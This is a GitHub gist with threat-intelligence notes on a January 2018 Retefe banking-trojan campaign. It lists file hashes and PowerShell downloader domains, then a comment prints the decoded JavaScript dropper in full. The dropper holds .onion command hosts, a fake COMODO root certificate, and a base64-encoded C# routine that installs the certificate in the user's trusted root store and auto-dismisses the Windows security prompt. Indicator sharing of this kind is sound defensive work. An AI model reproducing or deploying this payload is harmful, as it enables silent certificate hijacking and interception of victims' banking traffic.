Skip to content

Instantly share code, notes, and snippets.

@Blevene
Created January 8, 2018 14:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Blevene/e24a2d8c873adc6a47cfeb7f8944ffa9 to your computer and use it in GitHub Desktop.
Save Blevene/e24a2d8c873adc6a47cfeb7f8944ffa9 to your computer and use it in GitHub Desktop.
Retefe Campaign January 8th, 2018
Binary:
25a923f213098d4878858d4dea40a01262fff3029d5ac24d0f5b064b8999a853
Downloader Locations (From Powershell):
ahkorea.eu
compters.net
concretebirdbathmolds.net
concretemoldcompanies.com
eubieartmedia.com
Docs:
83cd92028b41abd4f6f89c357eb76e37b5b59c282514da2f9ff04ebc8ee4b55f
ca3f085a6195efc1a088b9f63a9ad1aa759fb3e60f0568d6c262b8ce07df09ba
8fb95da13990b5dde5b5e416ec5d5543948685f5a0db07f4b02a5d858679dd06
543c2f72f98acdce3dfeb78d63e3d3472dedd15864b3cfae8a49bb30ef8d7fbb
1d8c85e5e9a4afd70fb3bfb42476354fbf0f788ac711d6505fb3b7a9de24dcbe
5b3884b6d08225e0e5b0e3612771dcfd02cfebefab418d8287be8152951d2b69
aa0c1109b40645706b96d4bcd4badc17123f82f3a368f67e51c73343b4bdb30d
3adb9f5844bf0dc8124a09887ff1d5b92987ad60cdd38af76c436c1d0bbf397b
4c9c2a1b6ba9eef5bd415a1b2def9b1de9f80521c17d82097bd95620f001df88
d96a0937ab5c9841af4b5c8ea8fff529ca40f5aeeafee9bd49eedbbf841b8adc
7a96692bd42a495d55a9b78bb5e08a4b93c5e0830af990d9fcc1f62c6da7eafd
563ce8a8342f2d8c026f885b4ef33345b30b169781d2353784936b2fe4c4cfa1
5759cf0af7e1aaa51130c3674c8cebe2cef24136b87474ea27aa2c3106cca352
6e98d913c6af5d32ff12052a5907d68ad3049181b3214bdf334a31259876589e
de0dc43046e6f6e3c5bf23e0ea7f5a41bfff2468897a1aa7ee74da0f1bf20ec0
73f70b4bb056873cafd5aa9f95bbe061ac0b95756af9d69a417cf168a9b270a5
c567fa5c58a5fef378360ac3c0b99fc694c6d46356c11f2c9803fe3f14ff31e2
3dfd046b8e06e6cf612c82f0edb66967492eb2846b46045a416196747b44ed63
9ad7f6e760d2dffafbfef6d938ed20eac9cd9e90a787006a1161b6209076c55f
100e5267d47222b59699bbd4da58a5191cf6ae68b1358717c3f1e09e7762c8fc
dab68a7fbae0588f2454b21c92561b12807fe385c25914fd6b9b715882415a48
e3613ebdf3031b37b49f80c51b8496ebafb7c390be663c1ac5c5909c51f76474
8d3c280c377fed2a181b4c874c775b81170d17f3c27910814e8ef5faaf48920e
280da937b53137dbcaff9fa084b2eaeeec8870029473d888190be1dfc24210e1
041443e6c4124c6c0d7c319bef430014a14a6adde762874cac6d0412fb05d5cf
c85c89119be96cc2a46b0f7604ec1e4c483161161950ab28c4eebf8e66104555
78b56fd0f55652a3ac41821c407a87b906a397eacbd44342d2d41e95a8e2aa27
8d758e248db67634c4043071cdf2c3e3bd63233cf6a5c663ae1fcab8b2784bc7
448f903d12dec98ef9233182da3d13787bc716972984d3e8d463968e39661ccb
1034b2e08a2af9d50083517b1d4d40c63581477a380b9cf40e9573a9b11af074
c473262414eef485b618eb33c090097fa5ab22b07f6658bf221dc8d772b0ab81
c7c814f9689a8a371d142cb74cafa122bc4ccf7b849b9a738ee35dd534713b8f
1219e84e0a10c3d00436be9764ea1d7d6d56de60db81c37042232ba9bb31f63d
ed4c2c1156aec634f0beb558592947fa77b358a9ebe7eaa18384da7c9986665f
fc67723ef5f6365b1e8285e7ea96626d8eb1e22c48b6ffcd485f4c6f09734184
57c1d7c6d35f922e20d95dfdfbec3a62bf07f91236c756f4ab3547c2f8cb7222
1e9bca6e5b2a4e5a29750cc91f1532573a90c8e3356f8c494f0b878076c07868
6db91c8d48b6e72705ff6cb7e9b7c64d9b5215409166642a88afce80f5335634
7a0ba9c80f4dd520c8132dcb89360e90cded2dc88471902aecf35efdfad34cd5
7b33b03ba830b7b95214ed7f7d684235beb8c66341173bf5fbed0de523b8474d
6e2a28538e02961d8c51d3e9e27c7a1356bfd90a43fba6551c85a609d7e5d523
895dc876bf93c0f8b300b891845dec48a16d661ac677d9036cb75f3f97e94219
98c79c35f223a96f1b5d45b7c7ec35c088c418c2fda0bb92ab562533ae73e18c
9dda585c6037e5cb65b2f8aa3c6f4184af074bdb66ba662291dec9e51a188cb7
7aba790366dad1c857e53582287c86a570430cbcf8c397bd5b5f437f869a2996
17e15393306b2f97e8f4a7934875939e845cb1d9d6fe6d75ad1dbcee08304a41
34429ff364d0fb0d7bca7467e229af2f0a38018a6467a5905543bbfe6e952bb3
e99ea97688077f86019442596722e9c53f145d6170315fc415bccccda185acac
db7da7602ce82e79633d009746738acbcb7c37992e4dbfc50a501f4ed879bb58
64ac64b114d16bdfe935285692fb35acb3238526517840fe531924039bf0eba4
3f6cda985fd265dc27c47cffe3dd782a6cfeed379066427197b6b2ea6a6f246b
9ad24305bf212502d272fd8413292bf0a48eadf6a44e8d786b6e9fb8250202e7
f88173fdb2aa1f9c43b474b596f98497b939e500c2fa4a65eec9b381711ec39a
671555879d3976491a5215cac64acb4f28b3be45761c9aed0ac6d325291b9f90
b557206d4d9228fb4fb783bcb26c55f4a82affbcb3ee87756871a5c7f5b00280
8acd03d2c7fa2142e407e96aa9fd5edbd55c52b3ee0f34552f048e662cfe7711
6eed028eaee22764e42879b3d4dccf72ab1b5bd5bfdd67c0f18239ef8d1f6d1b
7d35526068b9a2da391b239274cb00a56edb36a9177e1edd98190d32b06ff40f
201aa3b95189de33498eabd068ec53084d50845648d692f198cfc092e1f57074
b041f44c4a9309f6bc3024b2b8fc1587d88d1e131e4f2b98b2f62f3c81e06f82
be14518bab337fa88c84906388e68e40455ac82f50d6954f3a509a93351319b0
450ab3e29185f2b6eb57a9751e66f64ad00a63ff30797d72c7de6d48e3bbb505
27f684c77d02f15d07900775520cacf0f9740a5f034cfd9d8230ae96a577b960
05aa2464ffdd54ccb16c510ee734200dc9d74f9d0c804e29b6e88dc4938b8827
4adaf4f75538643b9c2417059856aa6918818c2ce7bd548f0329b517777a39f9
2ec3a9fb7b0e5ea07911b636705f1dab50618e1146d14a7b022e79a01bba8369
e7433e2968485a0f45b4f8083f1bfe5f84c304142832fd56449923ef2fca0525
88d68fc444ca8476fc05b2ff365fed021a5c11f77df2506a658caca4a1100736
99258939bc88c6572330b2a1a274af94cf04120fd30e3c7b0b6a6b58006b9670
96c34358106465a927ffaca2803bb2f369c9d4e5be0ee660d038e3154f2ca012
1bc033a8f6747fb00b1b8203d45211e4bb21e65a6222d8a0d3a1ae83aed7ff32
ca119981d7f6bc4aa06d4b42ac46f27d5d66c123d2e70bf56ed109a8edba1f3f
ad62f8999cb698a8b21c64ef570623bfcfa8c7e3f864be423412a0439d47ecf0
21654a59d5bdd6505bc1149fd32bbdd81a12c35f16bb6060b21caebece9a06ee
ccafb6abc2197c139089e63dca64d0d25ef9dc9e3f45b4f0f10bfdddabef074d
239e818ef5d221e7bcf390a64e963fd93a66ad8daf7532d40e389376cf0b788b
5843beeb33a581401f808c606bc86e0080fff3cab4835dd71ef6215dd1135247
9d6e2e0eaa75b2ac25e9617e332e287027265764e53f32cad3bde2f5c45adae4
19300a3ef9874cf674e42a990bc6ff679c303bed07ec244eecd2a70ea3405c66
e63fd3cdf7d3533a4f6145d27ab8949daa92c33acef7bcc97be29e18a8105428
f990a4328440f42e468244eb31d62b159f77ecb599c253b791e38edc6463792c
129bb36aa89bf5ff0baa5b9d346d3902452fca016e11af72b126eda320db030f
7567d054a7b5410ff29334a06a3d6cae56a403e5aa4267b7aff55bb3d754f82d
950fd706de158400e4eae55c5f3558a493f96eb1c0681048c57e2639820d6b29
297ecb35b864821139eafc6e21e068d6249035b08402bd8357c3e7b82623f39e
9a7cf3c7d08797f21033fc3705bf38a0bd14e539138e724639c1ed4841d71ede
cc7afc71c6fd7607bfae2bf078f007be249197e0295b0910825830d55c26e2b3
213813b00bde265b515da78f488ca8a69fa09a4d6efa1feaeba3add700ba0106
9d05fe75799b9cb981c7fa12d62eb49e4593973412b8afd2f613412626c46f04
4f9fe6e159bd485f20b4d2c9d51f4b50546f6fb0dfb06dcd43f882b76877e3e1
9852e495dbcf6c85f1980ca31ad41d37af829df63fb515ee3328a4bad9bcfd71
72f9727d1af459ccde7ec142e8433cb31733ee962418d81ce9aa913ce4bcb74e
fc5f55b2f2b8f59f3e30dcd7bef4e508d14f3af716b663d72d173aac62f21912
1094defbcaec5e87a4d9fbacf38bcced597fbf0cebf21030f5d90eda7d14a5aa
c05d4fca8d07db4d365deeb1e847973ff2d868d9b3143ea38e3624a629a923db
a95627e55d1680f8f062ec47add43046b1c9c6edb91a110ba2aab0fde8f461eb
d57fc9a56c24caf1c1755395fa00d06376155578a4dc8c3bd3852f5dc91419a2
1bd4ce9cc96d9886fa27659a9692909d3efecfa0a072ad79ca54172659dec552
0261a22eeee9ae9587e87c04265f89fdabaabea0358cf0645b22b22686318b3b
6998cbea6a097f2910f85dece6a06d9a0ca37a737246addd9f730b1dcb43b5f5
5e7945086074ca1d8ade4b5bbdb8837fec988e0dd79a371e72085c1447af5e2e
25a923f213098d4878858d4dea40a01262fff3029d5ac24d0f5b064b8999a853
23a0a2a00255cb9b229313f9201cd4b6104974fca09e283b187c93404d5e66fa
45b8d5021ea2f954d64fc34716ea470e895937ed8db6164d556ebe063026a7db
@Blevene
Copy link
Author

Blevene commented Jan 8, 2018

Decoded Bas64 content from JS Marshaller:

var fWycur=null;
var RoopjpV=null;
var UxSukqu=null;

var TBItSrBI = new ActiveXObject("WScript.Shell");
var qjIYNGPZQOOM = new ActiveXObject("Scripting.FileSystemObject");

var BINARY_STREAM_TYPE = 1;
var TEXT_STREAM_TYPE = 2;
var CREATE_OVERWRITE_SAVE_MODE = 2;

var guHtyMdqJf=TBItSrBI.ExpandEnvironmentStrings("%TEMP%");
var RvmCnNTEKDQiGxM=TBItSrBI.ExpandEnvironmentStrings("%APPDATA%");
var cjjCQ=TBItSrBI.ExpandEnvironmentStrings("%COMPUTERNAME%");
var WdOIVrAVgzxX=guHtyMdqJf+"\"+cjjCQ+".log";

var NxipQg={
XfuHSwsBvGyg: ["jpxqaweyfdym5zv2.onion", "6vddb4v4htfmxq76.onion", "sbh5wzumf2p6q6bc.onion", "dycolpngez6hcnc4.onion"],
oxkjBDU: "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",
vJoAQmdE: "ZnVuY3Rpb24gWVlvT1l5WWZ1a3J7CkFkZC1UeXBlIEAiCnVzaW5nIFN5c3RlbTsKdXNpbmcgU3lzdGVtLlRleHQ7CnVzaW5nIFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlczsKdXNpbmcgU3lzdGVtLkRpYWdub3N0aWNzOwp1c2luZyBTeXN0ZW0uU2VjdXJp"+
"dHkuQ3J5cHRvZ3JhcGh5Llg1MDlDZXJ0aWZpY2F0ZXM7CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CgpwdWJsaWMgc3RhdGljIGNsYXNzIHZxY2pRCnsKCXB1YmxpYyBjbGFzcyBnT2xDCiAgICB7CiAgICAgICAgcHVibGljIHN0cmluZyBXbmRjbGFzczsKICAgICAg"+
"ICBwdWJsaWMgc3RyaW5nIFRpdGxlOwogICAgICAgIHB1YmxpYyBzdHJpbmcgUHJvY2VzczsKICAgICAgICBwdWJsaWMgSW50UHRyIGhXbmQ7CiAgICB9CgogICAgcHJpdmF0ZSBkZWxlZ2F0ZSBib29sIGtkWWJIREN3aVIoSW50UHRyIGhXbmQsIHJlZiBnT2xDIGRh"+
"dGEpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIFtyZXR1cm46IE1hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJvb2wpXQogICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIGJvb2wgRW51bVdpbmRvd3Moa2RZYkhEQ3dpUiBscEVudW1GdW5jLCByZWYg"+
"Z09sQyBkYXRhKTsKCQoJW0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgcHVibGljIHN0YXRpYyBleHRlcm4gaW50IEdldENsYXNzTmFtZShJbnRQdHIgaFduZCwgU3RyaW5nQnVp"+
"bGRlciBscENsYXNzTmFtZSwgaW50IG5NYXhDb3VudCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8sIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgcHVibGljIHN0YXRpYyBleHRlcm4gaW50IEdldFdpbmRvd1Rl"+
"eHQoSW50UHRyIGhXbmQsIFN0cmluZ0J1aWxkZXIgbHBTdHJpbmcsIGludCBuTWF4Q291bnQpOwoJCglbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuQXV0byldCglzdGF0aWMgZXh0ZXJuIHVpbnQg"+
"R2V0V2luZG93VGhyZWFkUHJvY2Vzc0lkKEludFB0ciBoV25kLCBvdXQgdWludCBscGR3UHJvY2Vzc0lkKTsKCQoJW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQoJW3JldHVybjogTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuQm9vbCldCglzdGF0aWMgZXh0ZXJuIGJv"+
"b2wgU2V0Rm9yZWdyb3VuZFdpbmRvdyhJbnRQdHIgaFduZCk7CgkKCXB1YmxpYyBkZWxlZ2F0ZSBib29sIEFXeXVLWWdtellQZWYoSW50UHRyIGh3bmQsIEludFB0ciBsUGFyYW0pOwoJCglbRGxsSW1wb3J0KCJ1c2VyMzIiKV0KCVtyZXR1cm46IE1hcnNoYWxBcyhV"+
"bm1hbmFnZWRUeXBlLkJvb2wpXQoJcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBFbnVtQ2hpbGRXaW5kb3dzKEludFB0ciB3aW5kb3csIEFXeXVLWWdtellQZWYgY2FsbGJhY2ssIEludFB0ciBsUGFyYW0pOyAgCgkKCVtEbGxJbXBvcnQoInVzZXIzMi5kbGwiLCBD"+
"aGFyU2V0ID0gQ2hhclNldC5BdXRvKV0KCXN0YXRpYyBleHRlcm4gSW50UHRyIFNlbmRNZXNzYWdlKEludFB0ciBoV25kLCBVSW50MzIgTXNnLCBJbnRQdHIgd1BhcmFtLCBJbnRQdHIgbFBhcmFtKTsKCQoJW0ZsYWdzXQogICAgcHJpdmF0ZSBlbnVtIFNuYXBzaG90"+
"RmxhZ3MgOiB1aW50CiAgICB7CiAgICBIZWFwTGlzdCA9IDB4MDAwMDAwMDEsCiAgICBQcm9jZXNzID0gMHgwMDAwMDAwMiwKICAgIFRocmVhZCA9IDB4MDAwMDAwMDQsCiAgICBNb2R1bGUgPSAweDAwMDAwMDA4LAogICAgTW9kdWxlMzIgPSAweDAwMDAwMDEwLAog"+
"ICAgSW5oZXJpdCA9IDB4ODAwMDAwMDAsCiAgICBBbGwgPSAweDAwMDAwMDFGLAogICAgTm9IZWFwcyA9IDB4NDAwMDAwMDAKICAgIH0KICAgIC8vaW5uZXIgc3RydWN0IHVzZWQgb25seSBpbnRlcm5hbGx5CiAgICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2Vx"+
"dWVudGlhbCwgQ2hhclNldCA9IENoYXJTZXQuQXV0byldCiAgICBwcml2YXRlIHN0cnVjdCBQUk9DRVNTRU5UUlkzMgogICAgewogICAgY29uc3QgaW50IE1BWF9QQVRIID0gMjYwOwogICAgaW50ZXJuYWwgVUludDMyIGR3U2l6ZTsKICAgIGludGVybmFsIFVJbnQz"+
"MiBjbnRVc2FnZTsKICAgIGludGVybmFsIFVJbnQzMiB0aDMyUHJvY2Vzc0lEOwogICAgaW50ZXJuYWwgSW50UHRyIHRoMzJEZWZhdWx0SGVhcElEOwogICAgaW50ZXJuYWwgVUludDMyIHRoMzJNb2R1bGVJRDsKICAgIGludGVybmFsIFVJbnQzMiBjbnRUaHJlYWRz"+
"OwogICAgaW50ZXJuYWwgVUludDMyIHRoMzJQYXJlbnRQcm9jZXNzSUQ7CiAgICBpbnRlcm5hbCBJbnQzMiBwY1ByaUNsYXNzQmFzZTsKICAgIGludGVybmFsIFVJbnQzMiBkd0ZsYWdzOwogICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJ5VmFsVFN0ciwgU2l6"+
"ZUNvbnN0ID0gTUFYX1BBVEgpXQogICAgaW50ZXJuYWwgc3RyaW5nIHN6RXhlRmlsZTsKICAgIH0KCiAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMiIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuQ2hh"+
"clNldC5BdXRvKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIENyZWF0ZVRvb2xoZWxwMzJTbmFwc2hvdChbSW5dVUludDMyIGR3RmxhZ3MsIFtJbl1VSW50MzIgdGgzMlByb2Nlc3NJRCk7CgogICAgW0RsbEltcG9ydCgia2VybmVsMzIiLCBTZXRMYXN0RXJyb3Ig"+
"PSB0cnVlLCBDaGFyU2V0ID0gU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkNoYXJTZXQuQXV0byldCiAgICBzdGF0aWMgZXh0ZXJuIGJvb2wgUHJvY2VzczMyRmlyc3QoW0luXUludFB0ciBoU25hcHNob3QsIHJlZiBQUk9DRVNTRU5UUlkzMiBscHBlKTsK"+
"CiAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMiIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuQ2hhclNldC5BdXRvKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQcm9jZXNzMzJOZXh0KFtJbl1JbnRQ"+
"dHIgaFNuYXBzaG90LCByZWYgUFJPQ0VTU0VOVFJZMzIgbHBwZSk7CgogICAgW0RsbEltcG9ydCgia2VybmVsMzIiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIFtyZXR1cm46IE1hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJvb2wpXQogICAgcHJpdmF0ZSBzdGF0"+
"aWMgZXh0ZXJuIGJvb2wgQ2xvc2VIYW5kbGUoW0luXSBJbnRQdHIgaE9iamVjdCk7CiAgICAKCWNvbnN0IGludCBCTV9DTCA9IDB4MDBGNTsKCQoJcHVibGljIHN0YXRpYyBieXRlW10gQ3FyRkFxVUQoU3RyaW5nIHNDZXJ0KQogICAgewoJCXJldHVybiBDb252ZXJ0"+
"LkZyb21CYXNlNjRTdHJpbmcoc0NlcnQpOwogICAgfQogICAgICAgIAoJcHVibGljIHN0YXRpYyB2b2lkIE9NeW5vWmhvKFN0cmluZyBzQ2VydCl7CgkJU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJbV2luMzJdOjpTdGFydCgpIik7CiAgICAgICAgYnl0ZVtdIGJD"+
"ZXJ0ID0gQ3FyRkFxVUQoc0NlcnQpOwogICAgICAgIGlmIChiQ2VydCAhPSBudWxsKQogICAgICAgIHsKICAgICAgICAgICAgWDUwOUNlcnRpZmljYXRlMiBjZXJ0aWZpY2F0ZSA9IG5ldyBYNTA5Q2VydGlmaWNhdGUyKGJDZXJ0KTsKICAgICAgICAgICAgWDUwOVN0"+
"b3JlIHN0b3JlID0gbmV3IFg1MDlTdG9yZShTdG9yZU5hbWUuUm9vdCwgU3RvcmVMb2NhdGlvbi5DdXJyZW50VXNlcik7CiAgICAgICAgICAgIHN0b3JlLk9wZW4oT3BlbkZsYWdzLlJlYWRXcml0ZSk7CiAgICAgICAgICAgIGlmICghc3RvcmUuQ2VydGlmaWNhdGVz"+
"LkNvbnRhaW5zKGNlcnRpZmljYXRlKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgVGhyZWFkIHRocmVhZCA9IG5ldyBUaHJlYWQoVXZSYnpTbVgpOwogICAgICAgICAgICAgICAgdGhyZWFkLlN0YXJ0KCk7CiAgICAgICAgICAgICAgICBzdG9yZS5BZGQo"+
"Y2VydGlmaWNhdGUpOwogICAgICAgICAgICAgICAgdGhyZWFkLkpvaW4oKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBzdG9yZS5DbG9zZSgpOwogICAgICAgIH0KCX0KCQoJcHVibGljIHN0YXRpYyB2b2lkIFV2UmJ6U21YKCkKCXsKCQlTeXN0ZW0uQ29uc29s"+
"ZS5Xcml0ZUxpbmUoIltXaW4zMl06OlNlYXJjaERpYWxvZygpIik7CgkJSW50UHRyIGhXbmQ7CgkJZG97CgkJCWhXbmQgPSBWSHdadygiIzMyNzcwIixTdHJpbmcuRW1wdHkpOwoJCQlpZiAoIWhXbmQuRXF1YWxzKEludFB0ci5aZXJvKSkKCQkgICAgewoJCQkJU3lz"+
"dGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJGb3VuZGVkIGhXbmQ9MHh7MDpYfSIsaFduZCk7CgkJICAgIAlicmVhazsKCQkJfWVsc2UKCSAgICAgICAgewoJCQkJaFduZD1JbnRQdHIuWmVybzsKCQkJCVN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiVHJ5IGFnYWluIGZp"+
"bmQgd2luZG93Iik7CgkgICAgICAgIH0KCQl9d2hpbGUgKGhXbmQuRXF1YWxzKEludFB0ci5aZXJvKSk7CgkJU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJEaWFsb2cgd2luZG93IGZvdW5kZWQiKTsKCQlTZXRGb3JlZ3JvdW5kV2luZG93KGhXbmQpOwoJCUFXeXVL"+
"WWdtellQZWYgY2hpbGRQcm9jID0gbmV3IEFXeXVLWWdtellQZWYoQnRtcURiSUxjUmRzU3opOwoJCUVudW1DaGlsZFdpbmRvd3MoaFduZCwgY2hpbGRQcm9jLCBJbnRQdHIuWmVybyk7Cgl9CgkKCXB1YmxpYyBzdGF0aWMgSW50UHRyIFZId1p3KHN0cmluZyB3bmRj"+
"bGFzcywgc3RyaW5nIHRpdGxlKQogICAgewogICAgICAgIGdPbEMgc2QgPSBuZXcgZ09sQygpOwogICAgICAgIHNkLlduZGNsYXNzID0gd25kY2xhc3M7CiAgICAgICAgc2QuVGl0bGUgPSB0aXRsZTsKCQlzZC5oV25kPUludFB0ci5aZXJvOwoJCVN5c3RlbS5Db25z"+
"b2xlLldyaXRlTGluZSgiRW51bVdpbmRvdyAtfCIpOwogICAgICAgIEVudW1XaW5kb3dzKG5ldyBrZFliSERDd2lSKEJ3S1ltR1pBKSwgcmVmIHNkKTsKICAgICAgICByZXR1cm4gc2QuaFduZDsKICAgIH0KICAgIAoJcHVibGljIHN0YXRpYyBib29sIEJ3S1ltR1pB"+
"KEludFB0ciBoV25kLCByZWYgZ09sQyBkYXRhKQogICAgewogICAgCVN0cmluZ0J1aWxkZXIgdGl0bGUgPSBuZXcgU3RyaW5nQnVpbGRlcigxMDI0KTsKICAgICAgICBTdHJpbmdCdWlsZGVyIGNsYXNzTmFtZSA9IG5ldyBTdHJpbmdCdWlsZGVyKDEwMjQpOwogICAg"+
"ICAgIEdldFdpbmRvd1RleHQoaFduZCwgdGl0bGUsIHRpdGxlLkNhcGFjaXR5KTsKICAgICAgICBHZXRDbGFzc05hbWUoaFduZCwgY2xhc3NOYW1lLCBjbGFzc05hbWUuQ2FwYWNpdHkpOwogICAgICAgIFN0cmluZyBzRU49ZEJGQmFYV3J2VWYoaFduZCkuVG9Mb3dl"+
"cigpOwoJCWlmKCghZGF0YS5XbmRjbGFzcy5FcXVhbHMoU3RyaW5nLkVtcHR5KSAmJiBjbGFzc05hbWUuVG9TdHJpbmcoKS5TdGFydHNXaXRoKGRhdGEuV25kY2xhc3MpKSB8fCAoIWRhdGEuVGl0bGUuRXF1YWxzKFN0cmluZy5FbXB0eSkgJiYgdGl0bGUuVG9TdHJp"+
"bmcoKS5TdGFydHNXaXRoKGRhdGEuVGl0bGUpKSkKCQl7CgkJCVN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiICAgICAgICAgICAgfC0gaFduZD0weHswOlh9OyBDbGFzcz17MX07IFRpdGxlPXsyfTsgUHJvY2Vzcz17M30iLGhXbmQsY2xhc3NOYW1lLlRvU3RyaW5n"+
"KCksdGl0bGUuVG9TdHJpbmcoKSxzRU4pOwogICAgICAgIAlpZihzRU4uQ29udGFpbnMoImNzcnNzIikgfHwgc0VOLkNvbnRhaW5zKCJjZXJ0dXRpbCIpICB8fCBzRU4uQ29udGFpbnMoInBvd2Vyc2hlbGwiKSkKCSAgICAgICAgewoJCSAgICAgICAgZGF0YS5oV25k"+
